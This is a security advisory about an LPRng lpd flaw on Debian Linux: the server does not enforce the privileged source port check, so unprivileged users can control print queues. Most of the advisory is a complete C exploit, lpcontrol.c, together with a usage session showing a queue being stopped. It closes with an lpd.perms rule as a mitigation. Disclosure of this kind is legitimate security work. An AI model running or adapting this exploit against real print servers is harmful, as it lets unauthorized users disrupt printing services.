COMMAND
LPRng
SYSTEMS AFFECTED
Debian Linux
PROBLEM
Chris Leishman found following. He found that is is possible (on
a default LPRng installation) to control the print queues on the
LPRng server. Most default installations allow the root user at
the localhost to send control commands to the LPRng lpd server.
The authentication used is to make sure that the packets are sent
from a low (priviledged) source port (RFC1179 specifies ports
721-731, although the LPRng howto specifies that this has been
extended to 512-1023). This is why the lpc utility is usually
installed SUID root. However, it appears that LPRng's lpd server
fails to check the source port correctly, so using a modified
client that uses ports outside the allowed range the server will
accept the command.
An exploit that uses this technique to stop or start a print queue
is appended to this advisory. It was written and tested on Debian
GNU/Linux. It is used in the following way:
host:~$ /usr/sbin/lpc status
Printer Printing Spooling Jobs Server Slave Redirect Status/Debug
lp@host enabled enabled 0 none none
host:~$ gcc lpcontrol.c
host:~$ ./a.out
Usage: ./a.out printer [stop|start]
host:~$ ./a.out lp stop
host:~$ /usr/sbin/lpc status
Printer Printing Spooling Jobs Server Slave Redirect Status/Debug
lp@host disabled enabled 0 none none
host:~$
Code foollows:
/* Exploit for lprng's source port check failure.
* Written and tested on Debian GNU/Linux
*
* Chris Leishman <masklin@debian.org>
*/
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#define SRC_PORT 2056
#define HOST "127.0.0.1"
#define DST_PORT 515
int main(int argc, char **argv)
{
int sock;
struct sockaddr_in dest_sin;
struct sockaddr_in src_sin;
struct hostent *hp;
unsigned long ipnum;
char line[256];
int mode = 0;
if (argc < 2)
{
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
exit(EXIT_FAILURE);
}
if (argc >= 3)
{
if (!strcmp(argv[2], "start"))
mode = 1;
else if (strcmp(argv[2], "stop"))
{
fprintf(stderr, "Invalid mode. Use stop or start.\n");
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
exit(EXIT_FAILURE);
}
}
snprintf(line, sizeof(line), "%c%s root %s %s\n",
6, argv[1], (mode)? "start":"stop", argv[1]);
memset(&dest_sin, 0, sizeof(struct sockaddr_in));
dest_sin.sin_port = htons((short) DST_PORT);
ipnum = (unsigned long) inet_addr(HOST);
if (ipnum != ((unsigned long) INADDR_NONE))
{
dest_sin.sin_family = AF_INET;
dest_sin.sin_addr.s_addr = ipnum;
}
else
{
if ((hp = gethostbyname(HOST)) == NULL)
{
fprintf(stderr, "Host lookup failed.\n");
exit(EXIT_FAILURE);
}
dest_sin.sin_family = hp->h_addrtype;
memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
(size_t)hp->h_length);
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("Socket call failed");
exit(EXIT_FAILURE);
}
src_sin.sin_family = AF_INET;
src_sin.sin_addr.s_addr = INADDR_ANY;
src_sin.sin_port = htons((u_short) SRC_PORT);
if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
{
perror("Bind failed");
exit(EXIT_FAILURE);
}
if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
{
close(sock);
perror("Connect failed");
exit(EXIT_FAILURE);
}
if (write(sock, line, strlen(line)) <= 0)
{
perror("Write failed");
exit(EXIT_FAILURE);
}
close(sock);
return EXIT_SUCCESS;
}
SOLUTION
The author (papowell@astart.com) has been notified, but the
problem has not been fully acknowledged. Aside from a lot of
random (and generally useless) commentry regarding the insecurity
of LPRng, NFS, SUID root programs, etc, the only usefull
suggestion was to add:
REJECT=X NOT PORT=1-1023
to the lpd.perms control file.